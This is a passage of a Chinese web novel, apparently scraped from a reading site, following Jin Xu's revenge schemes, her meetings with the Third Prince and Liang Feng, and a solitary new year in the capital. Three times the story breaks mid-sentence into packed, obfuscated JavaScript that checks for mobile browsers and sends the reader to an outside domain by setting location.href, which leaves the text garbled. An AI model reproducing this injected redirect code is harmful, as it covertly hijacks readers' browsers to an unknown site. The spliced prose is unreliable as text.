金絮坐到他旁侧,不躲不避任他看。良久后,梁风率先放弃,收敛神色,妥协道:“我能常来找你么?” 她思索一番道:“可以。” 梁风面容微动,金絮紧接着说:“但你如果纳了妃,或者是我嫁了人,你就别来找我了,不管我在哪里。” 他面色狠狠一白,数次张口欲语,最终却什么都没说,静静坐着,静静看着她。不知多久后,起身,拂袖离去。 62. 三皇子(二) 金絮之后几日都在等三皇子主动来找她。 没什么动静。 反而是林童忆来过。林童忆已经就任宿卫,守值的是西北方向的宫门。事情清闲,也接触不到任何高官,打听不到任何事情,每日只知道何人进出皇宫、带了何人、呆了多久、何时出去。 “这位置,还是有用的。你且先做着吧,把那些高官的容貌记住。” “我晓得。前两日我见到了冯棹台,但没说上话,你找冯御史是想做什么?” 金絮低头转着手中茶杯,“没想做什么,冯棹台这个人搭不上关系的,我只是想问他些事情。” “哦。”林童忆喝茶,放下茶杯再抬头,“问什么?” “没什么,就雪姬的事情。” “雪姬?......这样啊。” 林童忆环顾四周道:“你就打算住在客栈吗?这地方总归不能长久。” “先这样吧,以后的事以后再说。我主要是觉得,客栈鱼龙混杂,往来人多,可做掩饰。” 他们坐在客栈的酒肆,周围人的吵闹盖过他们的声音。 林童忆四下里转眼一看,目光最后落在她身上,眼神点点有温意,“你一贯都能顾虑到这些么?” 金絮一愣,喉咙仿佛结成了石块,上下不去,她余光注意到店小二给旁边独坐的客官上酒,结果不知做了什么被骂了一句,她脖颈不受控地一抖,抖得转向了林童忆。他还在看着她。 “这不是应该做的么?......想复仇,就得巨细无遗,稍有疏漏,容易死的,你没有这个觉悟?” 这下换作是他一愣,似乎被她语气冲到,身子细微后仰,复颔首,“是,我的确有疏忽。” 金絮也不多纠结,换了个话头,“我最近在等三皇子来找我。我若能和三皇子搭上关系,你就有升迁的希望了。” “三皇子?三皇子为何会找你?” 她又将视线看向别处,感觉指腹夹着的茶杯越来越热。 “可能是——想让我做他的情人?” “什么?”林童忆目瞪口呆。 她嘴角僵出一抹笑,摩挲杯缘轻声道:“说笑的。我也不知道,见过三皇子再说吧。” 林童忆迅速厉声严肃道:“你别去找三皇子了,用不着你做这些。” “做哪些?”她抬头,直射林童忆双眼,“我什么都不做啊。” 林童忆在她注视下冻住了眼神,略微没有反应过来,她缓慢扯了一下笑,“何况,不依靠三皇子,你能做什么?” 他愣住,张口结舌,“我......我是没办法,但这种事急不来......” “急不来吗?”金絮低头看着杯中茶叶慢慢道,杯底空洞漆黑。 不等他找到话,金絮接着道:“我倒是想到个办法。” “什么?” “我们可以结拜为兄妹。” 林童忆神情整个愣住。 “我想过了,等见到三皇子,我就诉苦,说我被家人所累,流落风尘,只有一个兄长相依为命,希望三皇子能收下我的兄长为他办事。” 林童忆呆愣看着她,下巴脱臼地往下掉,似乎是被震惊得久久回不过神来。 “林童忆?” “不行!”他拍案而起,动作之大引得周围人侧目。 “我绝不会与你结拜!” 金絮被吓了一跳,没料到他这么大反应。林童忆双眼圆睁,眼中讶异难言,却又十分坚定。 “我随口一提,不拜便不拜了。”她小声安抚,周围人看了他们一眼便收回目光。 林童忆坐下,似是也感到方才自己太过失态,略微窘道:“此事、此事往后不要再提,我不可能与你结拜。” 金絮有些奇怪,但也不多问,只是猜测这随口一问触到了他的底线。 “还有别的办法么?你去见三皇子打算怎么做?” “不知道,且看看吧。他还不一定会找过来呢。” 林童忆沉默下来。金絮不知道他在想什么,也没兴趣过问。 两人接二连三地喝茶,时至正午,万物燥热,从窗外看出去所见色彩鲜明。 “金絮,你打算做什么?”林童忆突然问:“你复仇,打算怎么做?或者说,复仇成功之后,会做什么?” 做什么? 她眨一下眼,神思恍惚起来。 “我做什么?...... “我可能...... “拥立新帝? “或者...... “......翻案?” 她要做什么? “你呢?”她看向林童忆,“你想做什么?” 林童忆语气轻快淡然却掷地有声,“想做个能成实事的大官,做些能造福老百姓的事。” 金絮愣了愣,继而一笑道:“好志向。” 又过两日,金絮仍是没等到三皇子。 她近几日出门都是固定路线,花市、书肆、南市,然后回来。她猜想三皇子若真对她有兴趣,应会疑心她是不是梁风安排刻意接近他的,加之去年雪姬一事,他对于出现在身边引起了他注意的人会更警惕,近来几天多半有派人暗中观察她的一举一动,金絮便表现得像个寻常女子一般,等着三皇子放下戒心。 花市里,金絮打眼看过店铺门前一丛丛鲜花,浓香混杂,分不清哪种花是哪个味道,她慢慢被熏得有些头晕。 心里也拿不准三皇子到底怎么想,她隐隐觉得,不应该似她想的这么简单。 花丛间出现一抹淡蓝色,仔细看是几束小花,五瓣雪白,花心是蓝色的。她走近,捻了捻瓣,质感厚重,她刚想开口询问店家,斜刺里忽然伸出一只手,手臂垂挂的华服几乎贴住她身侧,臂弯正对着她。 金絮感到冒犯,往旁让了让,花市登徒子也不少。 她抬头一看,霎时难掩惊讶。 三皇子低头浅笑凝视她,身着的华服几乎与百花融为一体。 她赶忙垂首行礼,三皇子半路扶住她,扶了她却不再放手,还把她往身侧拉近了些。 “你似乎常来花市,喜欢花?” 金絮装作不敢看他,含蓄地点点头。 “我父亲前日赠了几支南海红桑予我,开得正好,与你相配,不如我送你?” 她略作犹豫,然后让眼里浮现希冀,“南海红桑,听名字似乎是很好看的花?”她边说边抬眸看他,眼神相触的一刻她又像担忧自己举止冒犯到他似地垂下头,不再动了。 三皇子四指轻拍她的手,“我送与你瞧瞧,你定会喜欢。倒是这种小花......与你不搭。” 余光注意到他手中折扇遥遥一指那蓝色小花,然后又选了隔壁另一朵红花,随手折下,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839797|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手别在她发髻间。 这红花极艳,瓣数乍眼看都没数清,比拳头还大。 她微微笑着,福身道:“多谢三皇子。”说罢,她还抬手摸了摸那花。 三皇子满意地笑着。金絮感觉他这笑容十分像那些开得艳极的花朵,每个瓣尖都招摇地想吸引行人注意。 “难得佳人作陪,随我走走吧。” 她随着三皇子闲逛,慢慢远离街市闹区。 “慕红姑娘,有一事,上次在皇叔府中没机会问你。” “殿下请问。” “皇叔为何,会留你做客卿?” 她低首,“民女愚笨,不知王爷所想。” 三皇子轻声一笑,“那你为何,会愿意做皇叔的客卿?” 她思索片刻,慢慢答:“因为王爷救过我。” “哦?皇叔救过你?这倒与皇妹所说不同。” 他语带探究却并不真的好奇,话到这刻意停顿两息,接着又道:“不过呢,我也没全然相信皇妹所言,我还以为你是贪图皇叔的富贵。” 金絮神情不变,淡淡笑了,抬头看他,“富贵谁不贪图,可惜王爷不给。” 三皇子也笑,“皇叔怎会这般小气?” 她复低头,又说了一遍:“民女愚笨,不知王爷所想。” “这样啊。”三皇子转头继续往前走,摇扇的动作大开大阖。 “皇叔的确小气,我要的什么,他也不给。” 她浅笑不语。 三皇子又道:“皇叔似乎很信任你。” 金絮缓缓又温和地答:“大凡人都不会对自己无意间救下的女子心怀戒备吧。” 三皇子停下了脚步,金絮跟着一起停下,能感到他的目光审视着她,是跟梁风不一样的审视,背后有更复杂的东西。 一直隔数步尾随在后的仆从立刻上前,向三皇子揖道:“殿下,昭仪尚在等您入宫。” 仆从说完便不再言语,三皇子什么示下都没有,跟随的马车却迎了过来。他合拢折扇,将扇子在金絮交叠的手背一搭,道:“不知慕红姑娘对我这皇子府有没有兴趣?” 她低头微微一笑,“殿下的府邸定比王爷府要漂亮许多。” 三皇子再不多言,掀袍上车,金絮行礼作别,一行十数人浩浩荡荡离去。 直到尾影不再看见,她松了口气,觉得渴,就近在茶厮里灌下一壶茶水,方才缓过劲来。心里仔细回顾一遍与三皇子的对话,忽然想到,从前雪姬每日与三皇子的相处都是如此的么? 当天未入夜,金絮在客栈里就收到了三皇子府下人送来的一盆南海红桑。七瓣硕大的花朵,红得滴血,她就地一摆,无甚好看的。 原先听名字还没想起,现在看到实物倒让她记起来,小的时候在太南,有一年夏天阿爹寄了几盆南海红桑给她,让她养着玩,结果被她养得半死,最后还是娘亲将花救活,摆在卧房里。 当时她对这花价值几何没什么概念,现在看,一株南海红桑抵得过梁风之前让她砸的任意一支瓷器。 之后她出门不再有固定路线,林童忆每日当值,来得少了,她这小小的客房一连清净了数日。 十月,天气越来越凉,她整日除了翻些闲书,无事可干,直到这天一早,林童忆休沐来找她,她同时收到了三皇子送来的信件。 打开一阅,她顿时愣住了。 63. 话里话外 信里说,后日一早,郊外午亭,不见不散。 林童忆看了后不同意她去。 “皇子为什么要约你去郊外?”林童忆严肃地蹙眉,“我觉得他居心不良。” “应当......不至于吧。” 他仍不展眉,“反正我不放心你独自一人前去。” 她没说话,持久地看着信纸上的十二字,想穿透薄纸看到背后书写的那人。 “你若非要去,我与你一起。” 她抬头,林童忆接着道:“我藏在暗处,你若遇到危险,便向我做个手势。” 金絮有些意外,“你会武功?” 他一顿,神色渗出尴尬,“会倒是会一些,但是不强,仅够防身用。” “那你一人怎敌得过皇子身边的护卫?” 林童忆微微垂下头,复又抬起,“所以你不要去。” “我不去的话怎么办?那是皇子啊。”金絮将信纸折叠收好,安静看着他,“你若实在不放心,就按你说的办吧,用这个手势为信号。”她举起右手摸了一下发髻。 他神色终于放缓。 “但你别离得近了,容易被皇子身边的护卫发现。” “好。” 后日一早,她坐车去往郊外。 华德门两里地外是座孤亭,她带着信,坐在亭下,等着。 一个时辰后,马蹄声踏近,她循声看去,见荆风扬鬃而来。草原马的健劲扫荡晨光朝气,朝气裹挟着马背上的人。她盯着看了一会。荆风迅速逼近,很快停下,踏步喷气。 金絮拿出那信纸确认,信末尾的确写着三皇子。 她将信放在石桌上,站起来,隔着数步静静看着梁风。风吹过,信纸随之而起,在空中旋转一圈,乘风飞远。 梁风下马,隔亭与她相望。他的表情似乎同往常一样,金絮却看出来,他母亲去世那夜他也是这个眼神,复杂难以言清。 她心里默默叹气,等待他开口。 他走近几步,踏上亭子台阶,问道:“你在等人?” 金絮行礼,“是的,安分王殿下。” 梁风缓慢走入亭下,“等谁?” “三皇子殿下。” “为什么等他?” “赴约。” 他隔她两步站定,手臂微微抬起,又捻指放下,道:“那天见了一面,你就与他私下相约?” “是。” 梁风仔细看着她的脸,嘴角小心翼翼展开笑容,“前几日与棣来找我,我才知道你私下见过他了。但我知道肯定是他主动找你。怪我,那天不该让他看见你。” 金絮静静听着。 “他还跟我说,你很主动呢,说你对他的皇子府很有兴趣。”他嘴角不觉一敛,复又强勾起,“与棣什么都想要。你肯定不是这样。” 她没反应,冷静得有些淡漠。他脸上的笑容明显渐渐挂不住。 金絮坦然与他对视。 “你主动接近我了?” “王爷觉得呢?” 他的笑消失。金絮却笑起来。 “你也主动接近与棣了?” 她笑露牙,“王爷觉得呢?” 他眼睛不眨一下,牢牢盯着她,“皇兄只有三个儿子,除去与丕,与義显然难当大任,只剩下与棣了。” 金絮不说话。 “你在我府中什么都没有做......”他咽喉咙,袖下的拳攥紧,“你想让林童忆做你的眼线?” 察觉他情绪有些混乱,金絮答道:“让他做官是你主动提出的,不是我。” 他拳背青筋暴起,“你现在也要在我面前搞这些?” 在市井青楼混得久了,这一下连“搞”字都说出来了。 可他混得再久,他们之间隔着的也绝不只是娼.妓与王爷那么简单。 “不是我想搞,是我不得不搞。” “为什么?” “因为我不甘心。” 他跨前一步,眼周的皮肤绷紧,“难为你还看得上我,你不怕林童忆反被我牵连吗?” 她不说话。 梁风情绪突起,音量提高:“就在不到半日前,你还陪我过中秋!” 说错了,中秋过去都快半个月了。手指逐渐变凉,她蜷起手指保暖,道:“为你过中秋,我的确是真心的。” 她答复得慢,梁风情绪被她语速引得降下些许。 “这就是你说的装一辈子?” 她不说话。垂下视线,看着梁风越攥越紧的拳头。 再攥,再攥指甲就要碎了。 不知是不是被她看得,梁风指背动了一动。 “你心里有我的。” 她抬眼,对接他的眼神,轻轻一笑,“当然有,王爷这些年待我如何我十分清楚,要说一点不惦记王爷是不可能的。” 他迅捷伸手抓住她手臂往面前一扯,声音又急又委屈,“你说过你不会迁怒于我。” “我没有说过。我也没有迁怒于你。” 他怔了一瞬。 她抬头看着近在咫尺的脸,“王爷,我想过放弃,但是放不下。” 金絮轻轻地说:“每次看见你,我心里都在想,皇帝长的是什么模样,我的仇人长的什么模样,而你,一定和他长得很像。” “在我眼里,你不是你,是皇帝的象征。” 她直视进他眼中,“王爷,往后,对民女来说,您不再是另一半红叶生了。” 梁风抓她的眼神比他的手掌还紧,“你那天说,我给不了你想要的生活,你就是想要这个?我没法再供你接近了?” 话语颤抖着结束,他眼中掉出一滴泪,金絮抬手擦去。 他眉毛皱起,急切道:“我看不懂,你说清楚。” “说的够清楚了。”金絮声音没什么起伏,“王爷,我想过躲开你,可是你一直把我抓在身边。是你在努力地让我利用你。” 他手掌立刻触火似地弹开,慌乱地移开视线。金絮揉揉抓痛的手臂,衣服变得皱巴巴的。 梁风往旁侧走开一步,离远了她。金絮低头发现衣袖上有两点淡薄的血迹,他呼吸断断续续,她拂去,拂不去,索性不管。 “你这样会开心吗?”他突然问。 “开不开心,以后会知道。” 他手掌再次攥住,大跨步朝亭外走去。 “王爷,”金絮叫住他,“你愿意反吗?” 梁风脚步骤顿,肩背起伏半晌,缓缓回头,眼中巨震。 金絮静静看着他。 “我不会。” 闻言,她低头浅浅一笑,“我知道的。”说完,作一礼告别。 梁风遥望着她,眼睛都不眨。金絮沉默任他看。 梁风许久才道:“阿絮,我希望你开心的。” 再与她对视片刻,梁风转头,跨上荆风,踏出两步,又停下,回头一眼看到她,然后才彻底离去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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金絮笑笑,大爷拿出了几幅民屋图册,打开展示。她一一扫过,不知为什么感觉心跳有些快,很紧张,手指轻微地颤抖。她捏紧手指,选了个最便宜的小宅院,位于秋叶巷的巷尾,没有很大,地处稍偏,繁华街道的房子她也买不起。 “要不我与你住在邻里?我们独居也好互相有个照应。”林童忆提议道。 “那多不方便。你从秋叶巷入宫路要走好远。”她突然想到,“宿卫是可以住在宫里的吧?” 他神色自若,“我不想住,便没有住了。若住在宫里,指不定几月才能出宫一次,不是就没法出来找你了。” 她皱了一下眉,“你别太引人注目。” “放心,我有分寸。” 随官大爷去现场看了看,她看中的宅子也是一进院落,略微老旧,尚能住,便与官府签了地契。只不过她这附近再没有空宅了,林童忆最终还是买在了小柳街。 这宅子比太南那户小很多,银子却不比太南的少。只有一间堂屋和一间寝室,另外有单独的厨房和极小的库房,但是库房改成了鸡窝。她懒得将屋子翻新,随意添了些陈设被褥便先凑合着住,院子里还残留着屋子上一任主人养鸡的味道。 傍晚时,她站在院子里,看着地面某个角落聚集的星星点点鸡屎干硬后再去掉而留下的棕色痕迹,突然高声唤道:“十三!” 然后等了许久,不见有人影落下,从前唤一声十三就会出现的。 她也只唤了一次,无人应答,便回了屋。 64. 游琪 天气越来越冷了,金絮买了很多碳囤在家里,还有冬衣、书籍,和一把陋琴。她整日整日地窝在家里看书、自己跟自己下棋、画画、抚琴、喝茶,消磨光阴。 霜降这天一早醒来,庭院飘白,今年第一场雪下来了。 她穿多一件厚棉衣,跑到院落中接雪玩,等雪厚起来,她堆了个雪人,决定就靠它来陪自己躲过这个寒冬。 她还买了很多干粮,一个人吃不完,但也先囤着,反正迟早吃得完。 时日一长,看书看得腻了,下棋总也不输不赢,琴画又粗糙,她便独自一人上街,沿着城内河走一圈,看家家户户,一圈走下来能消磨掉一天。 湖面冰薄,三两小孩围聚湖边向水里投掷石子击碎薄冰,碎开的冰块像落叶一样随水流远逝。每看到这些小孩玩耍,她就在一旁驻足,想起自己小时候在太南也是这般模样。 在一些管制疏松的街道,推着板车卖热馄饨、热水饺沿街叫喊的摊贩多了起来,她遇到了,大多都会点一碗,为这些摊贩做点生意过冬。 雪越下越厚了,人们身上的衣服也越来越圆滚,她吞吐着白气,日复一日地在街上游荡,听着脚底踩实积雪的声音,感受雪落下的声音,害怕愈发积厚的雪会在没人发觉的时候藏入一个冻僵的尸首。 十一月,天地皆白。正午时阳光洒下,刺眼的雪光与太阳对冲,看得多了,她忽然想瞧一瞧绿色。 在家中,用绿色画料在纸上涂出一根树枝,再剪下,插在雪地里,白景变得赏心悦目起来。 立冬后,林童忆开始忙了,少来找她,据他说之后一月他可能都会很忙。 “那你忙吧,原本也不用总来找我。” “我看你总是一个人,所以想着陪陪你。” 她笑了笑,“肯定一个人啊。没事的,我会自己找消遣。” 两人对榻而坐,中间矮几摆着一局棋,茶香袅袅漂浮。 “自己一个人能怎么消遣,多没意思,我平时得空了来和你谈天喝酒吃茶,总比一个人好。” 林童忆道:“我升任了,如今是给事谒者。” “谒者?”她一愣,“给事谒者是做什么的?我只听说是传话的。” 她对职官的了解仅限于几个较高的官位,还是因为她父亲是丞相才知道的,地位低的官职她基本不清楚。 林童忆边想边说:“主要是掌管宾赞受事之类。” “哦,我知道了,就是搞礼仪接待的。”金絮说着端详他的脸。 “再往上升有常侍谒者、谒者仆射,仍是属光禄勋。”林童忆一脸正经地为她解释。 “怎么升上去的?” “不清楚,前几日突然就这么升了。”林童忆也很茫然。 “是,这职位也确实需要模样好的人担任。” 他闻言微微一愣,继而眼角眉梢浮起淡淡的笑意。 “只是可惜,没进到相府。”她手指轻轻转着茶杯,“但也不要紧,慢慢来,再往上升,说不定能见到皇帝。” 林童忆一下有些恍惚,“皇帝啊......” “有时皇帝的诏命会由谒者为使节传达,能露脸就有前途。” “嗯,我晓得。” 对下几子,两人有输有赢。 林童忆道:“对了,我前日得知民间有个情报机构,叫天机阁,据说所有江湖朝堂的大小事情都知道,只是要价很高。” 她听之不甚在意,继续盯着棋盘,“天机阁我知道,我还花过重金托他们帮我找人,没找到。” “名不副实?” 她摇摇头,“也不是,是我找的那人确实没活在世上了。” 她落一子,“我不想过于露面,不想太多人知道我父亲还有个女儿活着。” 林童忆表示理解,又道:“你的身份确实不能暴露,只是我还得知,天机阁里有一类人叫‘枪’,既是个百晓生也没有名字,武功还高,可以买来为我们做事。” “枪?”她第一次听说有这么一种人。 “就是价钱有点高。” “多少?” “五百黄金一人。” “买不起。” 零头都买不起,这种“枪”完全是给那些权贵们用的。 林童忆也很清楚,说完便默默喝茶,一股混合着默契和尴尬的气氛在两人间漫开。 “还有一事,”他放下茶杯,“我无意听到,丞相长女游琪姑娘每月初一都会去长门寺上香,待几个时辰,然后便离开。” 游琪?她脑中出现了那个小姑娘的面容,随即想到了那天的宴会,垂下视线,淡淡应道:“知道了。” 游琪也不过只是个小姑娘,比凝荷年纪还小些。 谈完天,林童忆便回去了。 金絮收拾棋盘,黑白珠子冰冰凉凉,收拾到一半,她忽然泄了力,有些不懂自己在干什么。 一没银子,二没人脉,三没地位,四没才能。 即便她想到农户里掀起一场起义,她又是个女的,举起了旗帜也不会有人跟她。 这难道不是在玩游戏吗? 她自嘲地看着窗外,落雪飞飞,白絮一般的雪里她似乎能看到自己的结局。 转眼就到十二月。 这天她穿了很厚的衣服,踩着没脚面的雪出门,一步一个脚印慢悠悠地行至长门寺。 寺内香客稀少,人人都在家准备过年,积雪遮盖了香火。 她在寺门口就见到了丞相家的车辇,走遍大小各庙,终于在一众丫鬟簇拥中找到了游琪。 游姑娘穿着硕大的洁白斗篷,乌发披散,发髻小巧可爱。金絮远远看着,在温柔馆待得久了,她看这个年纪的小姑娘总是觉得和善。 注意到游琪拜的是地藏菩萨,猜测可能家中有去世的人,不免更多了点同情。 她低头自嘲地笑了笑,她还能同情别人?谁又能同情谁呢? 金絮收回目光,转身看见了地上自己刚来时踏出的脚印,觉得自己真是无聊得紧,大老远跑这一趟,就为了看这小姑娘一眼? “闲得慌?”她低声自语,拿脚一踢,飞起的雪盖住了脚印。 她又回身,仰头看着地藏王,走近庙里,双脚跨过门槛时发出哒一声,游琪一行人等恍若未闻,仍堵在菩萨眼皮底下。她们中只有一人在拜,却堵住了所有蒲团的位置。金絮索性站在门口,仔细观赏地藏王的仪容。 独立龛数米高,平顶方形,坐姿像,身披天衣,胸挂璎珞,手持锡杖,脑袋十分光滑。 在菩萨透过石像都令人感到悲悯的目光下,金絮不由合十,却也只能做到怔怔看着,脑子里什么愿念都没有。 片刻,她垂下手,实在没兴趣拜这些,菩萨 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“烟气?”游琪懵懵然复述一遍,嘟了嘟嘴,“怎么不拜呢?我每月都会来求菩萨保佑我的奶娘。” “你的奶娘待你很好吧。” 游琪脸上的表情开心地绽开,“是啊是啊,小时候只有奶娘陪我。慕姐姐,你要不要拜一拜?” 她再次抬头看了眼地藏王,摇了摇头,道:“我心不诚。”所求不过是给活人的安慰。 “这样啊。可是心不诚,你又为何来寺庙呢?”游琪眼睛里透出的光洁白无瑕。 金絮嘴角笑着,“以为能蒙骗菩萨。” “啊?菩萨还能蒙骗?”小姑娘眼睛睁得大大的。 “不能啊,所以我没有得到庇佑。” 游琪比她矮小半个头,睁大眼睛仰视她,眨眨眼垂下了头,“我的奶娘也没有得到庇佑。” “倒也未必是我们心不诚,或许只是拜错了人。与其求神拜佛,不如求当今的天子,让这个世上少一点冻死、饿死的人。” 不再看神佛,她步出寺庙,游琪跟随与她并肩同行。 “可是,可是我的奶娘不是被冻死、饿死的啊。” 游琪道:“其实有时候也觉得,我每月来拜,不是在蒙骗菩萨,是在蒙骗我自己。 “可能......我也心不诚吧。 “但我还是希望奶娘能回来。” 小姑娘絮絮叨叨,金絮认真听着,笑着,并不多言。 游琪的仆从远远守着车轿,走近了,游琪与她福身道别:“慕姐姐,改日再见,以后有机会我们再一起玩。” “好。” 金絮看着游琪上车,在即将进入车里的时候她唤了一声:“游琪。” “嗯?”游琪诧异地回头。 “其实,若真的遇到了事,求天子也是没用的。” “什么?”游琪不解。 金絮笑了笑,“替我为游丞相道声祝福,祝游家事事顺遂平安。我这是诚心的。” 游琪看着她,懵懂地眨眼,最后露牙一笑,“好,我会转告父亲,谢谢慕姐姐。” 她也笑,目送车轿离去。 她站在原地,四处看了看。雪又下来,街道的犄角旮沓里零散窝了几个衣难暖体的人。 65. 眼神示意 “你要什么?” “嗯?” 她原本望着窗外出神,忽被这声问话引去注意力。林童忆站于两步外,端茶看着她。 年底了,林童忆得空又来找她。他总说自己不会买茶叶,借以帮她泡茶为由来她这蹭着喝,她刚看着窗外发了会呆,他便泡好了茶从厨房回来了。 金絮回过神来,“我就想着,快过年了,这年该怎么过才好。”她接过茶具,斟上两杯茶,冷风吹散了茶香。 林童忆掩窗,寒风贴窗而过,“可能整个正月我都不会出宫了,你照顾好自己,我会尽量抽空陪你过年。” “不用,你忙你的,过个年又不是非得要人陪。” 林童忆坐在短榻另一边,双眼看着她,“我有时候真不知该怎么和你相处。” “怎么了?”没想到他突然这么说,金絮笑了一笑,“我还蛮随和的,当做朋友那样相处就好了。” 林童忆也是一笑,转移了视线。 眼神从她身上挪开的一瞬金絮却发现他眼里有欲言又止的复杂,她想说些什么,但见他似不再多言,便不问了。 林童忆喝了几杯茶,看着天色回去了。 金絮上街买了些红艳艳的东西,灯笼、窗花、对联什么的,将家里装饰了一番,还买了些过年常吃的干货瓜子之类,瞧着也有了几分过年的味道。 除夕晚上,她在附近酒楼订了几个大菜,当日送上门,她独自一人吃了团圆饭。吃饱后,在院子里燃了几支爆竹,喜迎新年。 正月初一,她待在屋里,听着屋外的欢声笑语和鞭炮震天响,孩子们来回追逐打闹,仿佛永不歇的爆竹到底引走了她的注意力,她在这天睡了一个白日。 之后几天,她有时出门,蹭着邻里举行的大傩,站着围观全程,然后便当做给自己驱了邪、送了疫,再买了屠苏酒自己喝了。这些事宜她一个人准备的话终归麻烦了些。虽然草率粗糙,但也算是对新年的态度。 早在春节前她就给柔竹寄了信,道声新年快乐,送去给柔竹和凝荷的压祟钱。初五时,收到柔竹寄来的回信,信里还调笑了她一番,说压祟钱是给孩子的,让她不要寄了。 金絮只笑,却有了个主意。 她取一个红包,装了些压祟钱,放在自己的枕头上。然后出门随处溜达了一圈,回来竟意外发现自己枕头上有一个红包,她欢欢喜喜收下,将红包压在了枕头下面。 只是无人找她串门,她也无门可串。 春节剩余几日出门出得少了,堂屋摆放的花生瓜子不知何时落了灰。她闲来一颗颗就茶剥了吃掉。 她少看日历,也不知道春节过去了几日。这天,在被窝里悠悠转醒,听街上喧嚣热闹得很,她穿好衣服,上街看了看。拐过窄巷,夜色下,满城盛亮的灯火与欢庆轰然呈现在她眼前。 静得久了,她几乎被轰得一愣。 “上、上元节啊......” 嗓子快被冻僵,她咳了咳,精神了些,举步踏进繁华中。 天空飘着雪,拥在人群中倒也并不觉得冷,她挤在道路两旁,路中央是一辆接一辆两层楼高的巨大花车缓慢行驶,花车上歌姬舞姬挥袖软舞放声歌唱,每辆车后面都跟着数十个追随舞姬的行人,他们中不时有人将银锭高抛掷入花车中,引起周围人的起哄叫好。 她随着人流走动,无法停止,路过的杂耍、舞龙舞狮都只来得及匆匆看一眼便过去了,身上不住蹭着各人的新衣,触感总是丝滑。她被挤得无奈,心下却得了空闲,抬头看见了月亮。 白日里天气晴朗,此时的夜空无一丝灰云,月亮皎洁,数颗星星,不比中秋好看。 她收回视线,感觉饿了,恰巧流动到一家面馆,便挤出了人群,点了一碗芝麻元宵,边吃边看着街上人来人往。小孩都被大人抱在怀里,衙门侍卫随处可见,在人群中隐隐地维持秩序,应是想尽量避免上次和昌公主生辰时的惨剧。花车的行进也很缓慢,两车之间距离蛮远的,车上还有四个侍卫神情严肃地看着底下哄闹的人群。 吃了几颗便有些腻,但她还是吃完了,连汤也喝完了,身子热起来。 满耳声音嘈杂喧哗,敲锣打鼓、歌唱、父母教育孩子的嘶喊、脚步声,混在一起,有序地振聋发聩。她呆呆看着,不由自主想到去年的春节,她和梁风两人被淹城的风雪困在屋子里,粥中米粒可数,担心着还有没有后一日和下一顿,春节就在不知自己是不是在等死的氛围中度过了。 “这是京城的上元佳节啊......” 她怔怔地自言自语,口中白气一股股喷出,话语丝毫没有掀动人潮的脚步。 “可是你们知道吗?就在离京城百里外的地方就可能有人吃不饱、穿不暖......” 当然没有人理她。 她在许多书籍上都看到过上元佳节的描写,所绘十分美妙,可那美妙仅限于几座繁华的郡县,书里描绘的盛景绝不可能出现在支郁村。好像只有在繁华之下的上元节才是上元节,支郁村的上元节就不可能会有人想写进书中。最多在节日后,用几个数目记下冻死了多少人。 她不想再看了,不顾挤撞,逆着人潮扎回了黑暗的巷子里。 喧嚣持续了一整夜,她睁了一夜眼,隔日天亮,趁着满城还在睡觉,她化好全妆到城门边外和暗巷看了看,果然看见许多流民。他们的衣着比阳光还薄,饿得面黄肌瘦,冻得嘴唇手脚发紫,疮口溃烂。她一直觉得,京城的城门总是隔了两个世界。 她回家煮了一锅粥,半稀半稠,用板车装着,费劲拉到城门口。在城门右侧选了处位置停车,她打开锅盖,粥都快凉了。她盛粥送给缩在角落的流民小孩,然后给妇女,慢慢地,流民都知道也能到她铺子前讨粥喝。 “一人一碗,不许多喝......” “你们喝完了要把碗给我,我的碗不多......” 她一边忙着盛,一边不住地叮嘱,碗全送出去的空档,注意到城门左侧稍远处也有一户人家在施粥。那户人家来的人很多,好几大锅粥,浓重的热气升腾得很高,还搭了棚。棚外面仆从忙着招呼流民,棚里面似乎是主子的人坐着,好像在说什么话,不时还有新的粥从城里送出来。 比她好多了。 金絮笑了笑,也不知道那是哪户人家。 城门口守着的侍卫无人发一言,她不知道这样施粥合不合规矩,但既然没说什么,就不管了。 时间一长,流民增多,侍卫也不得不开始组织起来,流民们列好队,整齐有序。 她换了地方施粥,离那户人家远一点。粥派完后,又拉着车回家了。 夜里觉得腰痛,可能是拉的车太重了,她早早趟进被窝,熄灯后盯着漆黑的天花板,慢慢睡着了。 做了个梦,梦见住在温柔馆的最后那段日子,梁风在馆里过夜,点了她要求陪着。那夜她怕得整晚没睡,几个时辰也是盯着黑洞洞的天花板。 梦完便醒了,醒来天还没亮。她脑子模糊地眯了眯眼,心道隔了好久了,怎么突然想起来这事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839800|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 还是困得很,她躺倒继续睡,再次醒来就临近午时了。 醒来腰更痛,翻身都艰难,吃了早饭出门去附近药馆买点药。 衣服穿了很多,她还是觉得冷,双臂抱着取暖,冷风冻得她表情都没有了,深一脚浅一脚地拖步前行。 路过大街时注意到暗巷子里有个大爷在摆小摊,大爷全身狠瘦,即便穿了厚衣服也还是瘦,面颊眼窝凹陷,双眼浑浊憔悴,肤色斑斑点点深浅不一,头发稀疏。她瞧着奇怪,看大爷模样不像是饿得,倒像是病得。 